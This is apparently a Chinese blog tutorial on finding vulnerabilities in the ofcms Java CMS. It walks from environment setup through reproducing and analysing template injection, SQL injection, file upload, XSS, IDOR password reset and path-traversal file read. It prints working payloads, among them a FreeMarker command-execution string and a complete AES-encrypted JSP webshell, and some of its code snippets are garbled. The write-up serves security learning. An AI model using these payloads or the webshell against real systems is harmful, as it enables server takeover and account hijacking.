前言
挖了一些phpcms的漏洞了,突然想尝试去挖一下javacms的漏洞,于是写下这篇文章来记录一下自己挖洞的一个流程,希望能帮助到一些正在学习挖洞的师傅们。
确立目标
挖洞的第一步首先是确立一个目标,也就是找个github,gitee或者谷歌百度直接去搜cms。
如果挖洞经验比较少的话建议找一下star少的cms去挖,找到相应的项目,然后点进去,下载源码,然后看项目的介绍,大致了解一下项目的信息和安装的过程。
信息收集
如果确定了目标,接下来我们可以去了解一下他的项目信息,相应的漏洞等。
项目信息除了上面的README以为还可以看看issues模块,这里可能会有一些系统问题或者安装问题,后续我们可能会遇到
漏洞信息的话可以通过cnvd或者其他漏洞平台(直接百度也可以)去查看该系统的漏洞情况。
或者cnvd查看相应的信息,通过查看相应的信息可以提高我们挖洞的效率,我们从中可以知道该项目已经存在漏洞,我们到时候挖就可以看看相应的地方会不会还存在漏洞或者避免挖到别人挖过的漏洞。
环境搭建
上面的信息收集完之后我们就要开始搭建环境了,搭建环境是很关键的一步,由于某些cms安装过程繁琐或者没写好说明,会导致安装出现很多问题甚至装不上,这里我们要注意项目的文档,如果实在安装有问题可以通过相关渠道去联系一下作者或者相应的qq群寻求一下帮助。
本次挖掘的漏洞是ofcms,首先先下载一下源码,然后解压丢一边,回到网页来看一下项目文档。
【----帮助网安学习,以下所有学习资料关注我,私信回复“资料”获取----】
① 网安学习成长路径思维导图
② 60 网安经典常用工具包
③ 100 SRC漏洞分析报告
④ 150 网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南 题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓 IOS)
环境要求
一般项目都会有写环境要求的,我们调整一下就好。
环境准备
环境解压完我们用idea打开,如果发现一些重要目录文件不见了,重开一下就有了。
数据库
首先找到db.properties,如果不能一眼看到可以通过ctrl shift f来快速搜索
/ofcms-admin/src/main/resources/dev/conf/db.properties
找到了文件,访问相对应的路径即可,这里我们修改一下数据库用户名和密码,然后点击右边的数据库来测试连接。
然后按数据库信息来修改,然后点击右边的数据库,配置一下。
如果出现以下的错误Server returns invalid timezone. Go to 'Advanced' tab and set 'serverTimezone' property manually.
这是时区问题,如果配置了环境变量报错,可以通过以下步骤来解决。
win Rcmdmysql -hlocalhost -uroot -p(然后输入数据库密码)show variables like'%time_zone';set global time_zone = ' 8:00';
没配置环境变量的,看这个文章
https://blog.csdn.net/liuqiker/article/details/102455077
配置成功效果图如下
maven
右键项目找到mavne重新加载项目即可
tomcat
在run-configuration中配置tomcat
在Deployment配置一下
一切配置好后点击run启动就可以了,如果遇到端口报错改一下端口,其他的报错就百度一下。
安装过程
这一步就比较简单了,跟着弄就好了。
下一步,然后配置好数据库,这里记得先在数据库中新建个ofcms的库,否则会报Unknown database 'ofcms'的错。
在这里,正常安装步骤是建立好数据库,输入账号密码就等待安装就好。
如果出现以下报错,我们可以通过手工导入数据库,这一种情况在安装别的cms也很常见,在安装遇到数据库问题我们可以直接导入数据库。
You have an error in your SQL syntax; check the manual that corresponds to your Mynavicat中,然后导入成功后刷新一下就好。
接着将数据库配置文件db-config.properties文件名修改为db.properties,重启一下服务。
漏洞复现
环境搭建完,我们就可以开始挖洞了,然后在这里我建议是能找到该漏洞已存在的文章,我们就先去复现一下,看看别的师傅们的挖过的漏洞,一方面是防止重复,一方面是可以学习一下别人的挖洞思路。
ofcms其实存在挺多漏洞的,这里我们就来简单复现一下,大致看看师傅们的挖洞思路。
任意文件写入
漏洞模板文件这个位置,漏洞的详细分析可以看看文章
漏洞复现
我们选择任意一个html,然后点击保存抓包,我们可以看到包的信息。
这里就是写入文件,我们在admin目录下写入eek1.xml文件。
通过上面任意文件读取漏洞去读取一下
模板注入漏洞
漏洞在模板注入,这个漏洞主要是pom.xml引入了freemarker-2.3.21依赖,但是留下一些不安全因素导致的,具体漏洞分析可以看这篇文章。
漏洞复现
漏洞复现过程比较简单,我们直接在html文件中插入payload就可以了
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("calc") }
插入后直要访问前台就会出发payload
模板注入的知识点可以看看这篇文章
通过这一个洞,我们可以挖洞的时候可以去注意一下pom.xml引入的模板。
SQL注入漏洞
漏洞分析参考文章,由于这里的预编译处理不起作用,所以可以执行SQL语句。
漏洞复现
漏洞点在系统设置---代码生成---添加----添加表,在这里抓一下包
直接把payload输进来
update of_cms_ad set ad_id=updatexml(1,concat(1,user()),1)
任意文件上传
漏洞分析在上一篇文章里有说,这里主要就是利用windows或中间件文件上传特性来避免结尾为jsp或jspx
漏洞复现
找到一个上传点然后抓包,我这里是在内容管理----栏目管理----新增----新增用户----上传附件这里抓包的。
eek.jsp<%@page import="javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%request.getParameter("pass")!=null){String k=("" UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u") "").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>
可以看到文件上传进去,而且内容没被修改。
漏洞挖掘
通过上面的内容,我们学习了别的师傅的挖洞思路,接下来就是我自己的挖洞过程了,下面是我挖的几个洞。
首先除了已经存在的漏洞外,我们要大致知道什么漏洞会存在什么地方,例如登录注册界面会出现sql漏洞,逻辑漏洞等,留言框可能会出现xss漏洞,上传头像界面可能会出现任意文件上传漏洞等,信息泄露漏洞也可以通过御剑或者其他工具去扫一下。
XSS漏洞
漏洞复现
对于前台有个客户案例,选择其中一个案例,然后有个留言框,这里直接打入xss的payload就可以了。
<video src=x onerror=alert("eek") />
漏洞分析
文件位置ofcms-masterofcms-apisrcmainjavacomofsoftcmsapiv1
package com.ofsoft.cms.api.v1;import com.jfinal.plugin.activerecord.Db;import com.ofsoft.cms.api.ApiBase;import com.ofsoft.cms.core.annotation.Action;import com.ofsoft.cms.core.api.ApiMapping;import com.ofsoft.cms.core.api.RequestMethod;import com.ofsoft.cms.core.api.check.paramsCheck;import com.ofsoft.cms.core.api.check.ParamsCheckType;import com.ofsoft.cms.core.utils.IpKit;import java.util.Map;/** * 评论接口 * * @author OF * @date 2019年2月24日 */@Action(path = "/comment")public class CommentApi extends ApiBase { /** * 获取内容信息 */ @ApiMapping(method = RequestMethod.GET) @ParamsCheck( {@ParamsCheckType(name = "comment_content"), @void save() { try { Exception e) { e.printStackTrace(); rendFailedJson(); } }}
请求/api/v1/comment/save.json?comment_content=123&content_id=61&site_id=1&check_status=1&_=1644130926694
这里直接接受请求,未对content的内容进行检测,直接将请求的值存入数据库中,导致存在跨站脚本漏洞。
逻辑缺陷漏洞1
本地环境
现有两个用户信息,系统管理员admin和普通管理员eek,如下是系统管理员的界面。
admin/admineek/123
超级管理员后台界面。
普通管理员后台界面
漏洞复现
我们先以普通管理员登录
点击右上角,修改密码
在此处burp抓包
修改id为1,密码任意
修改前admin的密码是admin
修改后为admin,密码是eek
漏洞分析
漏洞文件:ofcms-masterofcms-adminsrcmainjavacomofsoftcmsadmincontrollersystemSysUserController.java的respwd方法
... public void respwd() { Map<String, Object> params = getParamsMap(); String password = (String) params.get("password"); String newpassword = (String) params.get("newpassword"); if (!password.equals(newpassword)) { rendFailedJson("两次密码不一致!"); return; } Record record = new Record(); if (!StringUtils.isBlank(password)) { password = new Sha256Hash(password).toHex(); record.set("user_password", password); } record.set("user_id", params.get("user_id")); try { Db.update(AdminConst.TABLE_OF_SYS_USER, "user_id", record); rendSuccessJson(); } catch (Exception e) { e.printStackTrace(); rendFailedJson(ErrorCode.get("9999")); } }...
在此方法中,后台对前端界面的id和两次密码值进行获取,然后传入后端,后端直接将id和密码传入数据库中,让数据库直接更新信息。
这里由于id可控导致用户可以直接修改任意id的密码,导致该地方存在任意用户密码重置。
逻辑缺陷漏洞2
本地环境
数据库信息如下图所示
现在有超级管理员,admin/123普通管理员,eek/123
漏洞复现
首先以普通管理员身份登录,然后点击右上角,基本资料
在此处burp抓包
修改信息,user_id改为1,密码修改为admin
以系统管理员身份登录
成功登录
漏洞分析
漏洞文件:ofcms-masterofcms-adminsrcmainjavacomofsoftcmsadmincontrollersystemSysUserController.java的update方法
... public void update() { Map<String, Object> params = getParamsMap(); String password = (String) params.get("password"); if (!StringUtils.isBlank(password)) { password = new Sha256Hash(password).toHex(); params.put("user_password", password); } params.remove("password"); String roleId = (String) params.get("role_id"); if (!StringUtils.isBlank(roleId)) { SqlPara sql = Db.getSqlPara("system.user.role_update", params); Db.update(sql); } params.remove("role_id"); Record record = new Record(); record.setColumns(params); try { Db.update(AdminConst.TABLE_OF_SYS_USER, "user_id", record); rendSuccessJson(); } catch (Exception e) { e.printStackTrace(); rendFailedJson(ErrorCode.get("9999")); }}...
在此方法中,后台管理直接将新增的数据放到数据库中,直接对数据库内容进行更新,未对不合法内容进行检测,导致该地方存在任意用户信息重置。
任意文件读取
漏洞复现
找到模板文件
所对应的路径是ofcms-masterofcms-adminsrcmainwebappWEB-INFpagedefault,这里可以通过目录穿越来读取任意文件。
在他的上两级有个web.xml文件,我们尝试读取一些。
这里不能直接编辑,burp抓个包。
web.xml文件如下所示
<!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN" "http://td/web-app_2_3.dtd" ><web-app> <display-name>Archetype Created Web Application</display-name> <listener> <listener-class>org.apache.shiro.web.env.EnvironmentLoaderListener</listener-class> </listener> <filter> <filter-name>shiro</filter-name> <filter-class>org.apache.shiro.web.servlet.ShiroFilter</filter-class> </filter> .........
读取成功
漏洞分析
漏洞文件位置:ofcms-masterofcms-adminsrcmainjavacomofsoftcmsadmincontrollercmsTemplateController.java漏洞位于该模块的getTemplates方法中
package com.ofsoft.cms.admin.controller.cms;... public void getTemplates() { //当前目录 String dirName = getPara("dir",""); //上级目录 String upDirName = getPara("up_dir","/"); //类型区分 String resPath = getPara("res_path"); //文件目录 String dir = null; if(!"/".equals(upDirName)){ dir = upDirName dirName; }else{ dir = dirName; } File pathFile = null; if("res".equals(resPath)){ pathFile = new File(SystemUtile.getSiteTemplateResourcePath(),dir); }else { pathFile = new File(SystemUtile.getSiteTemplatePath(),dir); } File[] dirs = pathFile.listFiles(new FileFilter() { @Override public boolean accept(File file) { return file.isDirectory(); } }); if(StringUtils.isBlank (dirName)){ upDirName = upDirName.substring(upDirName.indexOf("/"),upDirName.lastIndexOf("/")); } setAttr("up_dir_name",upDirName); setAttr("up_dir","".equals(dir)?"/":dir); setAttr("dir_name",dirName.equals("")?SystemUtile.getSiteTemplatePathName():dirName); setAttr("dirs", dirs); /*if (dirName != null) { pathFile = new File(pathFile, dirName); }*/ File[] files = pathFile.listFiles(new FileFilter() { @Override public boolean accept(File file) { return !file.isDirectory() && (file.getName().endsWith(".html") || file.getName().endsWith(".xml") || file.getName().endsWith(".css") || file.getName().endsWith(".js")); } }); setAttr("files", files); String fileName = getPara("file_name", "index.html"); File editFile = null; if (fileName != null && files != null && files.length > 0) { for (File f : files) { if (fileName.equals(f.getName())) { editFile = f; break; } } if (editFile == null) { editFile = files[0]; fileName = editFile.getName(); } } setAttr("file_name", fileName); if (editFile != null) { String fileContent = FileUtils.readString(editFile); if (fileContent != null) { fileContent = fileContent.replace("<", "<").replace(">", ">"); setAttr("file_content", fileContent); setAttr("file_path", editFile); } } if("res".equals(resPath)) { render("/admin/cms/template/resource.html"); }else{ render("/admin/cms/template/index.html"); } }......
这里没有对dir和dir_name的值进行不合法输入检测,导致这里可以进行目录穿越,然后后面的就只有对文件是否存在进行判断,若存在则读取。所以此处存在任意文件读取漏洞。
声明:本文仅限于技术讨论与分享,严禁用于非法途径。若读者因此作出任何危害网络安全行为后果自负,与本号及原作者无关。